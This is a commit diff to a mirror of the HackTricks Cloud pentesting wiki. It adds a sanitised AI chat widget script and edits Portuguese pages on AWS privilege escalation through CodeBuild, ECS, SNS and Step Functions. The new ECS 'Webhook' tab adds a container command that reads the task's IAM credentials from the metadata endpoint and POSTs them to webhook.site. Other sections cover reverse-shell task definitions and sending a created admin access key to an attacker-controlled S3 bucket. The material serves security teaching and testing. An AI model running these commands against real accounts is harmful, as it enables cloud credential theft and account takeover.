mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 11:07:37 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -31,6 +31,7 @@ additional-js = [
|
||||
"theme/tabs.js",
|
||||
"theme/ht_searcher.js",
|
||||
"theme/sponsor.js",
|
||||
"theme/ai.js"
|
||||
]
|
||||
no-section-label = true
|
||||
preferred-dark-theme = "hacktricks-dark"
|
||||
|
||||
@@ -12,7 +12,7 @@ Obtenha mais informações em:
|
||||
|
||||
### `codebuild:StartBuild` | `codebuild:StartBuildBatch`
|
||||
|
||||
Apenas com uma dessas permissões é suficiente para acionar uma construção com um novo buildspec e roubar o token do papel iam atribuído ao projeto:
|
||||
Apenas com uma dessas permissões é suficiente para acionar uma construção com um novo buildspec e roubar o token da função iam atribuída ao projeto:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="StartBuild" }}
|
||||
@@ -214,7 +214,7 @@ JSON="{
|
||||
|
||||
printf "$JSON" > $REV_PATH
|
||||
|
||||
aws codebuild update-project --cli-input-json file://$REV_PATH
|
||||
aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH
|
||||
|
||||
aws codebuild start-build --project-name codebuild-demo-project
|
||||
```
|
||||
@@ -309,7 +309,7 @@ O projeto codebuild precisará ter um ponto de interrupção:
|
||||
<pre class="language-yaml"><code class="lang-yaml">phases:
|
||||
pre_build:
|
||||
commands:
|
||||
- echo Entrou na fase pre_build...
|
||||
- echo Entered the pre_build phase...
|
||||
- echo "Hello World" > /tmp/hello-world
|
||||
<strong> - codebuild-breakpoint
|
||||
</strong></code></pre>
|
||||
@@ -325,7 +325,7 @@ Para mais informações [**verifique a documentação**](https://docs.aws.amazon
|
||||
|
||||
Um atacante capaz de iniciar/reiniciar uma build de um projeto específico do CodeBuild que armazena seu arquivo `buildspec.yml` em um bucket S3 ao qual o atacante tem acesso de escrita, pode obter execução de comandos no processo do CodeBuild.
|
||||
|
||||
Nota: a escalada é relevante apenas se o trabalhador do CodeBuild tiver um papel diferente, esperançosamente mais privilegiado, do que o do atacante.
|
||||
Nota: a elevação de privilégios é relevante apenas se o trabalhador do CodeBuild tiver um papel diferente, esperançosamente mais privilegiado, do que o do atacante.
|
||||
```bash
|
||||
aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
|
||||
|
||||
@@ -354,7 +354,7 @@ commands:
|
||||
**Impacto:** Privesc direto para o papel usado pelo trabalhador do AWS CodeBuild que geralmente tem altos privilégios.
|
||||
|
||||
> [!WARNING]
|
||||
> Note que o buildspec pode ser esperado em formato zip, então um atacante precisaria baixar, descompactar, modificar o `buildspec.yml` do diretório raiz, compactar novamente e fazer o upload.
|
||||
> Note que o buildspec pode ser esperado no formato zip, então um atacante precisaria baixar, descompactar, modificar o `buildspec.yml` do diretório raiz, compactar novamente e fazer o upload.
|
||||
|
||||
Mais detalhes podem ser encontrados [aqui](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
|
||||
|
||||
|
||||
@@ -13,6 +13,9 @@ Mais **informações sobre ECS** em:
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
|
||||
|
||||
Um atacante que abusar da permissão `iam:PassRole`, `ecs:RegisterTaskDefinition` e `ecs:RunTask` no ECS pode **gerar uma nova definição de tarefa** com um **container malicioso** que rouba as credenciais de metadados e **executá-lo**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Reverse Shell" }}
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -32,6 +35,46 @@ aws ecs run-task --task-definition iam_exfiltration \
|
||||
## You need to remove all the versions (:1 is enough if you just created one)
|
||||
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Webhook" }}
|
||||
|
||||
Crie um webhook com um site como webhook.site
|
||||
```bash
|
||||
|
||||
# Create file container-definition.json
|
||||
[
|
||||
{
|
||||
"name": "exfil_creds",
|
||||
"image": "python:latest",
|
||||
"entryPoint": ["sh", "-c"],
|
||||
"command": [
|
||||
"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890"
|
||||
]
|
||||
}
|
||||
]
|
||||
|
||||
# Run task definition, uploading the .json file
|
||||
aws ecs register-task-definition \
|
||||
--family iam_exfiltration \
|
||||
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
|
||||
--network-mode "awsvpc" \
|
||||
--cpu 256 \
|
||||
--memory 512 \
|
||||
--requires-compatibilities FARGATE \
|
||||
--container-definitions file://container-definition.json
|
||||
|
||||
# Check the webhook for a response
|
||||
|
||||
# Delete task definition
|
||||
## You need to remove all the versions (:1 is enough if you just created one)
|
||||
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#endtabs }}
|
||||
|
||||
**Impacto Potencial:** Privesc direto para um papel ECS diferente.
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
|
||||
@@ -97,7 +140,7 @@ aws ecs run-task \
|
||||
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
Este cenário é como os anteriores, mas **sem** a permissão **`iam:PassRole`**.\
|
||||
Isso ainda é interessante porque se você puder executar um contêiner arbitrário, mesmo que seja sem uma função, você poderia **executar um contêiner privilegiado para escapar** para o nó e **roubar a função IAM do EC2** e as **outras funções dos contêineres ECS** em execução no nó.\
|
||||
Isso ainda é interessante porque se você puder executar um contêiner arbitrário, mesmo que seja sem uma função, você poderia **executar um contêiner privilegiado para escapar** para o nó e **roubar a função IAM do EC2** e as **outras funções de contêineres ECS** em execução no nó.\
|
||||
Você poderia até **forçar outras tarefas a serem executadas dentro da instância EC2** que você comprometeu para roubar suas credenciais (como discutido na [**seção Privesc para nó**](aws-ecs-privesc.md#privesc-to-node)).
|
||||
|
||||
> [!WARNING]
|
||||
@@ -144,7 +187,7 @@ aws ecs run-task --task-definition iam_exfiltration \
|
||||
```
|
||||
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
Um atacante com o **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** pode **executar comandos** dentro de um contêiner em execução e exfiltrar a função IAM anexada a ele (você precisa das permissões de descrição porque é necessário executar `aws ecs execute-command`).\
|
||||
Um atacante com as permissões **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** pode **executar comandos** dentro de um contêiner em execução e exfiltrar a função IAM anexada a ele (você precisa das permissões de descrição porque é necessário executar `aws ecs execute-command`).\
|
||||
No entanto, para fazer isso, a instância do contêiner precisa estar executando o **ExecuteCommand agent** (que por padrão não está).
|
||||
|
||||
Portanto, o atacante pode tentar:
|
||||
|
||||
@@ -16,7 +16,7 @@ Um atacante poderia enviar mensagens maliciosas ou indesejadas para o tópico SN
|
||||
```bash
|
||||
aws sns publish --topic-arn <value> --message <value>
|
||||
```
|
||||
**Impacto Potencial**: Exploração de vulnerabilidades, corrupção de dados, ações não intencionais ou exaustão de recursos.
|
||||
**Impacto Potencial**: Exploração de vulnerabilidades, Corrupção de dados, ações não intencionais ou exaustão de recursos.
|
||||
|
||||
### `sns:Subscribe`
|
||||
|
||||
@@ -28,7 +28,7 @@ aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
|
||||
|
||||
### `sns:AddPermission`
|
||||
|
||||
Um atacante poderia conceder acesso a um tópico SNS a usuários ou serviços não autorizados, potencialmente obtendo permissões adicionais.
|
||||
Um atacante poderia conceder acesso a usuários ou serviços não autorizados a um tópico SNS, potencialmente obtendo permissões adicionais.
|
||||
```css
|
||||
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
|
||||
```
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Step Functions
|
||||
|
||||
Para mais informações sobre este serviço AWS, consulte:
|
||||
Para mais informações sobre este serviço AWS, verifique:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-stepfunctions-enum.md
|
||||
@@ -25,11 +25,11 @@ Ou você também pode ir à documentação da API AWS e verificar a documentaç
|
||||
|
||||
### `states:TestState` & `iam:PassRole`
|
||||
|
||||
Um atacante com as permissões **`states:TestState`** & **`iam:PassRole`** pode testar qualquer estado e passar qualquer função IAM para ele sem criar ou atualizar uma máquina de estado existente, permitindo acesso não autorizado a outros serviços AWS com as permissões da função. potencialmente. Combinadas, essas permissões podem levar a ações não autorizadas extensas, desde manipulação de fluxos de trabalho para alterar dados até vazamentos de dados, manipulação de recursos e escalonamento de privilégios.
|
||||
Um atacante com as permissões **`states:TestState`** & **`iam:PassRole`** pode testar qualquer estado e passar qualquer função IAM para ele sem criar ou atualizar uma máquina de estado existente, potencialmente permitindo acesso não autorizado a outros serviços AWS com as permissões da função. Combinadas, essas permissões podem levar a ações não autorizadas extensas, desde manipulação de fluxos de trabalho para alterar dados até vazamentos de dados, manipulação de recursos e escalonamento de privilégios.
|
||||
```bash
|
||||
aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
|
||||
```
|
||||
Os seguintes exemplos mostram como testar um estado que cria uma chave de acesso para o usuário **`admin`** aproveitando essas permissões e um papel permissivo do ambiente AWS. Este papel permissivo deve ter qualquer política de alto privilégio associada a ele (por exemplo, **`arn:aws:iam::aws:policy/AdministratorAccess`**) que permite que o estado execute a ação **`iam:CreateAccessKey`**:
|
||||
Os seguintes exemplos mostram como testar um estado que cria uma chave de acesso para o **`admin`** usuário aproveitando essas permissões e um papel permissivo do ambiente AWS. Este papel permissivo deve ter qualquer política de alto privilégio associada a ele (por exemplo, **`arn:aws:iam::aws:policy/AdministratorAccess`**) que permite que o estado execute a ação **`iam:CreateAccessKey`**:
|
||||
|
||||
- **stateDefinition.json**:
|
||||
```json
|
||||
@@ -75,7 +75,7 @@ aws states start-execution --state-machine-arn <value> [--name <value>] [--input
|
||||
# Start a Synchronous Express state machine execution
|
||||
aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
|
||||
```
|
||||
Os seguintes exemplos mostram como criar uma máquina de estados que cria uma chave de acesso para o **`admin`** e exfiltra essa chave de acesso para um bucket S3 controlado por um atacante, aproveitando essas permissões e um papel permissivo do ambiente AWS. Esse papel permissivo deve ter qualquer política de alto privilégio associada a ele (por exemplo, **`arn:aws:iam::aws:policy/AdministratorAccess`**) que permite que a máquina de estados execute as ações **`iam:CreateAccessKey`** e **`s3:putObject`**.
|
||||
Os seguintes exemplos mostram como criar uma máquina de estado que cria uma chave de acesso para o **`admin`** usuário e exfiltra essa chave de acesso para um bucket S3 controlado pelo atacante, aproveitando essas permissões e um papel permissivo do ambiente AWS. Esse papel permissivo deve ter qualquer política de alto privilégio associada a ele (por exemplo, **`arn:aws:iam::aws:policy/AdministratorAccess`**) que permite que a máquina de estado execute as ações **`iam:CreateAccessKey`** e **`s3:putObject`**.
|
||||
|
||||
- **stateMachineDefinition.json**:
|
||||
```json
|
||||
@@ -134,11 +134,11 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1
|
||||
> [!WARNING]
|
||||
> O bucket S3 controlado pelo atacante deve ter permissões para aceitar uma ação s3:PutObject da conta da vítima.
|
||||
|
||||
**Impacto Potencial**: Execução não autorizada e manipulação de fluxos de trabalho e acesso a recursos sensíveis, potencialmente levando a violações de segurança significativas.
|
||||
**Impacto Potencial**: Execução não autorizada e manipulação de fluxos de trabalho e acesso a recursos sensíveis, potencialmente levando a brechas de segurança significativas.
|
||||
|
||||
### `states:UpdateStateMachine` & (não sempre necessário) `iam:PassRole`
|
||||
|
||||
Um atacante com a permissão **`states:UpdateStateMachine`** seria capaz de modificar a definição de uma máquina de estados, podendo adicionar estados extras furtivos que poderiam resultar em uma escalada de privilégios. Dessa forma, quando um usuário legítimo inicia uma execução da máquina de estados, este novo estado furtivo malicioso será executado e a escalada de privilégios será bem-sucedida.
|
||||
Um atacante com a permissão **`states:UpdateStateMachine`** seria capaz de modificar a definição de uma máquina de estados, podendo adicionar estados extras furtivos que poderiam resultar em uma escalada de privilégios. Dessa forma, quando um usuário legítimo inicia uma execução da máquina de estados, esse novo estado furtivo malicioso será executado e a escalada de privilégios será bem-sucedida.
|
||||
|
||||
Dependendo de quão permissivo é o IAM Role associado à máquina de estados, um atacante enfrentaria 2 situações:
|
||||
|
||||
|
||||
332
theme/ai.js
Normal file
332
theme/ai.js
Normal file
@@ -0,0 +1,332 @@
|
||||
/**
|
||||
* HackTricks AI Chat Widget v1.15 – Markdown rendering + sanitised
|
||||
* ------------------------------------------------------------------------
|
||||
* • Replaces the static “…” placeholder with a three-dot **bouncing** loader
|
||||
* • Renders assistant replies as Markdown while purging any unsafe HTML
|
||||
* (XSS-safe via DOMPurify)
|
||||
* ------------------------------------------------------------------------
|
||||
*/
|
||||
(function () {
|
||||
const LOG = "[HackTricks-AI]";
|
||||
|
||||
/* ---------------- User-tunable constants ---------------- */
|
||||
const MAX_CONTEXT = 3000; // highlighted-text char limit
|
||||
const MAX_QUESTION = 500; // question char limit
|
||||
const TOOLTIP_TEXT =
|
||||
"💡 Highlight any text on the page,\nthen click to ask HackTricks AI about it";
|
||||
|
||||
const API_BASE = "https://www.hacktricks.ai/api/assistants/threads";
|
||||
const BRAND_RED = "#b31328"; // HackTricks brand
|
||||
|
||||
/* ------------------------------ State ------------------------------ */
|
||||
let threadId = null;
|
||||
let isRunning = false;
|
||||
|
||||
const $ = (sel, ctx = document) => ctx.querySelector(sel);
|
||||
if (document.getElementById("ht-ai-btn")) {
|
||||
console.warn(`${LOG} Widget already injected.`);
|
||||
return;
|
||||
}
|
||||
(document.readyState === "loading"
|
||||
? document.addEventListener("DOMContentLoaded", init)
|
||||
: init());
|
||||
|
||||
/* ==================================================================== */
|
||||
/* 🔗 1. 3rd-party libs → Markdown & sanitiser */
|
||||
/* ==================================================================== */
|
||||
function loadScript(src) {
|
||||
return new Promise((resolve, reject) => {
|
||||
const s = document.createElement("script");
|
||||
s.src = src;
|
||||
s.onload = resolve;
|
||||
s.onerror = () => reject(new Error(`Failed to load ${src}`));
|
||||
document.head.appendChild(s);
|
||||
});
|
||||
}
|
||||
|
||||
async function ensureDeps() {
|
||||
const deps = [];
|
||||
if (typeof marked === "undefined") {
|
||||
deps.push(loadScript("https://cdn.jsdelivr.net/npm/marked/marked.min.js"));
|
||||
}
|
||||
if (typeof DOMPurify === "undefined") {
|
||||
deps.push(
|
||||
loadScript(
|
||||
"https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.2.5/purify.min.js"
|
||||
)
|
||||
);
|
||||
}
|
||||
if (deps.length) await Promise.all(deps);
|
||||
}
|
||||
|
||||
function mdToSafeHTML(md) {
|
||||
// 1️⃣ Markdown → raw HTML
|
||||
const raw = marked.parse(md, { mangle: false, headerIds: false });
|
||||
// 2️⃣ Purify
|
||||
return DOMPurify.sanitize(raw, { USE_PROFILES: { html: true } });
|
||||
}
|
||||
|
||||
/* ==================================================================== */
|
||||
async function init() {
|
||||
/* ----- make sure marked & DOMPurify are ready before anything else */
|
||||
try {
|
||||
await ensureDeps();
|
||||
} catch (e) {
|
||||
console.error(`${LOG} Could not load dependencies`, e);
|
||||
return;
|
||||
}
|
||||
|
||||
console.log(`${LOG} Injecting widget… v1.15`);
|
||||
|
||||
await ensureThreadId();
|
||||
injectStyles();
|
||||
|
||||
const btn = createFloatingButton();
|
||||
createTooltip(btn);
|
||||
const panel = createSidebar();
|
||||
const chatLog = $("#ht-ai-chat");
|
||||
const sendBtn = $("#ht-ai-send");
|
||||
const inputBox = $("#ht-ai-question");
|
||||
const resetBtn = $("#ht-ai-reset");
|
||||
const closeBtn = $("#ht-ai-close");
|
||||
|
||||
/* ------------------- Selection snapshot ------------------- */
|
||||
let savedSelection = "";
|
||||
btn.addEventListener("pointerdown", () => {
|
||||
savedSelection = window.getSelection().toString().trim();
|
||||
});
|
||||
|
||||
/* ------------------- Helpers ------------------------------ */
|
||||
function addMsg(text, cls) {
|
||||
const b = document.createElement("div");
|
||||
b.className = `ht-msg ${cls}`;
|
||||
|
||||
// ✨ assistant replies rendered as Markdown + sanitised
|
||||
if (cls === "ht-ai") {
|
||||
b.innerHTML = mdToSafeHTML(text);
|
||||
} else {
|
||||
// user / context bubbles stay plain-text
|
||||
b.textContent = text;
|
||||
}
|
||||
|
||||
chatLog.appendChild(b);
|
||||
chatLog.scrollTop = chatLog.scrollHeight;
|
||||
return b;
|
||||
}
|
||||
const LOADER_HTML =
|
||||
'<span class="ht-loading"><span></span><span></span><span></span></span>';
|
||||
|
||||
function setInputDisabled(d) {
|
||||
inputBox.disabled = d;
|
||||
sendBtn.disabled = d;
|
||||
}
|
||||
function clearThreadCookie() {
|
||||
document.cookie = "threadId=; Path=/; Max-Age=0";
|
||||
threadId = null;
|
||||
}
|
||||
function resetConversation() {
|
||||
chatLog.innerHTML = "";
|
||||
clearThreadCookie();
|
||||
panel.classList.remove("open");
|
||||
}
|
||||
|
||||
/* ------------------- Panel open / close ------------------- */
|
||||
btn.addEventListener("click", () => {
|
||||
if (!savedSelection) {
|
||||
alert("Please highlight some text first to then ask HackTricks AI about it.");
|
||||
return;
|
||||
}
|
||||
if (savedSelection.length > MAX_CONTEXT) {
|
||||
alert(
|
||||
`Highlighted text is too long (${savedSelection.length} chars). Max allowed: ${MAX_CONTEXT}.`
|
||||
);
|
||||
return;
|
||||
}
|
||||
chatLog.innerHTML = "";
|
||||
addMsg(savedSelection, "ht-context");
|
||||
panel.classList.add("open");
|
||||
inputBox.focus();
|
||||
});
|
||||
closeBtn.addEventListener("click", resetConversation);
|
||||
resetBtn.addEventListener("click", resetConversation);
|
||||
|
||||
/* --------------------------- Messaging --------------------------- */
|
||||
async function sendMessage(question, context = null) {
|
||||
if (!threadId) await ensureThreadId();
|
||||
if (isRunning) {
|
||||
addMsg("Please wait until the current operation completes.", "ht-ai");
|
||||
return;
|
||||
}
|
||||
|
||||
isRunning = true;
|
||||
setInputDisabled(true);
|
||||
const loadingBubble = addMsg("", "ht-ai");
|
||||
loadingBubble.innerHTML = LOADER_HTML;
|
||||
|
||||
const content = context
|
||||
? `### Context:\n${context}\n\n### Question to answer:\n${question}`
|
||||
: question;
|
||||
try {
|
||||
const res = await fetch(`${API_BASE}/${threadId}/messages`, {
|
||||
method: "POST",
|
||||
credentials: "include",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ content })
|
||||
});
|
||||
if (!res.ok) {
|
||||
let err = `Unknown error: ${res.status}`;
|
||||
try {
|
||||
const e = await res.json();
|
||||
if (e.error) err = `Error: ${e.error}`;
|
||||
else if (res.status === 429)
|
||||
err = "Rate limit exceeded. Please try again later.";
|
||||
} catch (_) {}
|
||||
loadingBubble.textContent = err;
|
||||
return;
|
||||
}
|
||||
const data = await res.json();
|
||||
loadingBubble.remove();
|
||||
if (Array.isArray(data.response))
|
||||
data.response.forEach((p) => {
|
||||
addMsg(
|
||||
p.type === "text" && p.text && p.text.value
|
||||
? p.text.value
|
||||
: JSON.stringify(p),
|
||||
"ht-ai"
|
||||
);
|
||||
});
|
||||
else if (typeof data.response === "string")
|
||||
addMsg(data.response, "ht-ai");
|
||||
else addMsg(JSON.stringify(data, null, 2), "ht-ai");
|
||||
} catch (e) {
|
||||
console.error("Error sending message:", e);
|
||||
loadingBubble.textContent = "An unexpected error occurred.";
|
||||
} finally {
|
||||
isRunning = false;
|
||||
setInputDisabled(false);
|
||||
chatLog.scrollTop = chatLog.scrollHeight;
|
||||
}
|
||||
}
|
||||
|
||||
async function handleSend() {
|
||||
const q = inputBox.value.trim();
|
||||
if (!q) return;
|
||||
if (q.length > MAX_QUESTION) {
|
||||
alert(
|
||||
`Your question is too long (${q.length} chars). Max allowed: ${MAX_QUESTION}.`
|
||||
);
|
||||
return;
|
||||
}
|
||||
inputBox.value = "";
|
||||
addMsg(q, "ht-user");
|
||||
await sendMessage(q, savedSelection || null);
|
||||
}
|
||||
sendBtn.addEventListener("click", handleSend);
|
||||
inputBox.addEventListener("keydown", (e) => {
|
||||
if (e.key === "Enter" && !e.shiftKey) {
|
||||
e.preventDefault();
|
||||
handleSend();
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
/* ==================================================================== */
|
||||
async function ensureThreadId() {
|
||||
const m = document.cookie.match(/threadId=([^;]+)/);
|
||||
if (m && m[1]) {
|
||||
threadId = m[1];
|
||||
return;
|
||||
}
|
||||
try {
|
||||
const r = await fetch(API_BASE, { method: "POST", credentials: "include" });
|
||||
const d = await r.json();
|
||||
if (!r.ok || !d.threadId) throw new Error(`${r.status} ${r.statusText}`);
|
||||
threadId = d.threadId;
|
||||
document.cookie =
|
||||
`threadId=${threadId}; Path=/; Secure; SameSite=Strict; Max-Age=7200`;
|
||||
} catch (e) {
|
||||
console.error("Error creating threadId:", e);
|
||||
alert("Failed to initialise the conversation. Please refresh and try again.");
|
||||
throw e;
|
||||
}
|
||||
}
|
||||
|
||||
/* ==================================================================== */
|
||||
function injectStyles() {
|
||||
const css = `
|
||||
#ht-ai-btn{position:fixed;bottom:20px;left:50%;transform:translateX(-50%);width:60px;height:60px;border-radius:50%;background:#1e1e1e;color:#fff;font-size:28px;display:flex;align-items:center;justify-content:center;cursor:pointer;z-index:99999;box-shadow:0 2px 8px rgba(0,0,0,.4);transition:opacity .2s}
|
||||
#ht-ai-btn:hover{opacity:.85}
|
||||
@media(max-width:768px){#ht-ai-btn{display:none}}
|
||||
#ht-ai-tooltip{position:fixed;padding:6px 8px;background:#111;color:#fff;border-radius:4px;font-size:13px;white-space:pre-wrap;pointer-events:none;opacity:0;transform:translate(-50%,-8px);transition:opacity .15s ease,transform .15s ease;z-index:100000}
|
||||
#ht-ai-tooltip.show{opacity:1;transform:translate(-50%,-12px)}
|
||||
#ht-ai-panel{position:fixed;top:0;right:0;height:100%;width:350px;max-width:90vw;background:#000;color:#fff;display:flex;flex-direction:column;transform:translateX(100%);transition:transform .3s ease;z-index:100000;font-family:system-ui,-apple-system,Segoe UI,Roboto,"Helvetica Neue",Arial,sans-serif}
|
||||
#ht-ai-panel.open{transform:translateX(0)}
|
||||
@media(max-width:768px){#ht-ai-panel{display:none}}
|
||||
#ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333}
|
||||
#ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center}
|
||||
#ht-ai-close,#ht-ai-reset{cursor:pointer;font-size:18px;background:none;border:none;color:#fff;padding:0}
|
||||
#ht-ai-close:hover,#ht-ai-reset:hover{opacity:.7}
|
||||
#ht-ai-chat{flex:1;overflow-y:auto;padding:16px;display:flex;flex-direction:column;gap:12px;font-size:14px}
|
||||
.ht-msg{max-width:90%;line-height:1.4;padding:10px 12px;border-radius:8px;white-space:pre-wrap;word-wrap:break-word}
|
||||
.ht-user{align-self:flex-end;background:${BRAND_RED}}
|
||||
.ht-ai{align-self:flex-start;background:#222}
|
||||
.ht-context{align-self:flex-start;background:#444;font-style:italic;font-size:13px}
|
||||
#ht-ai-input{display:flex;gap:8px;padding:12px 16px;border-top:1px solid #333}
|
||||
#ht-ai-question{flex:1;min-height:40px;max-height:120px;resize:vertical;padding:8px;border-radius:6px;border:none;font-size:14px}
|
||||
#ht-ai-send{padding:0 18px;border:none;border-radius:6px;background:${BRAND_RED};color:#fff;font-size:14px;cursor:pointer}
|
||||
#ht-ai-send:disabled{opacity:.5;cursor:not-allowed}
|
||||
/* Loader animation */
|
||||
.ht-loading{display:inline-flex;align-items:center;gap:4px}
|
||||
.ht-loading span{width:6px;height:6px;border-radius:50%;background:#888;animation:ht-bounce 1.2s infinite ease-in-out}
|
||||
.ht-loading span:nth-child(2){animation-delay:0.2s}
|
||||
.ht-loading span:nth-child(3){animation-delay:0.4s}
|
||||
@keyframes ht-bounce{0%,80%,100%{transform:scale(0);}40%{transform:scale(1);} }
|
||||
::selection{background:#ffeb3b;color:#000}
|
||||
::-moz-selection{background:#ffeb3b;color:#000}`;
|
||||
const s = document.createElement("style");
|
||||
s.id = "ht-ai-style";
|
||||
s.textContent = css;
|
||||
document.head.appendChild(s);
|
||||
}
|
||||
|
||||
function createFloatingButton() {
|
||||
const d = document.createElement("div");
|
||||
d.id = "ht-ai-btn";
|
||||
d.textContent = "🤖";
|
||||
document.body.appendChild(d);
|
||||
return d;
|
||||
}
|
||||
|
||||
function createTooltip(btn) {
|
||||
const t = document.createElement("div");
|
||||
t.id = "ht-ai-tooltip";
|
||||
t.textContent = TOOLTIP_TEXT;
|
||||
document.body.appendChild(t);
|
||||
btn.addEventListener("mouseenter", () => {
|
||||
const r = btn.getBoundingClientRect();
|
||||
t.style.left = `${r.left + r.width / 2}px`;
|
||||
t.style.top = `${r.top}px`;
|
||||
t.classList.add("show");
|
||||
});
|
||||
btn.addEventListener("mouseleave", () => t.classList.remove("show"));
|
||||
}
|
||||
|
||||
function createSidebar() {
|
||||
const p = document.createElement("div");
|
||||
p.id = "ht-ai-panel";
|
||||
p.innerHTML = `
|
||||
<div id="ht-ai-header"><strong>HackTricks AI Chat</strong>
|
||||
<div class="ht-actions">
|
||||
<button id="ht-ai-reset" title="Reset">↺</button>
|
||||
<span id="ht-ai-close" title="Close">✖</span>
|
||||
</div>
|
||||
</div>
|
||||
<div id="ht-ai-chat"></div>
|
||||
<div id="ht-ai-input">
|
||||
<textarea id="ht-ai-question" placeholder="Type your question…"></textarea>
|
||||
<button id="ht-ai-send">Send</button>
|
||||
</div>`;
|
||||
document.body.appendChild(p);
|
||||
return p;
|
||||
}
|
||||
})();
|
||||
1030
theme/ht_searcher.js
1030
theme/ht_searcher.js
File diff suppressed because it is too large
Load Diff
Reference in New Issue
Block a user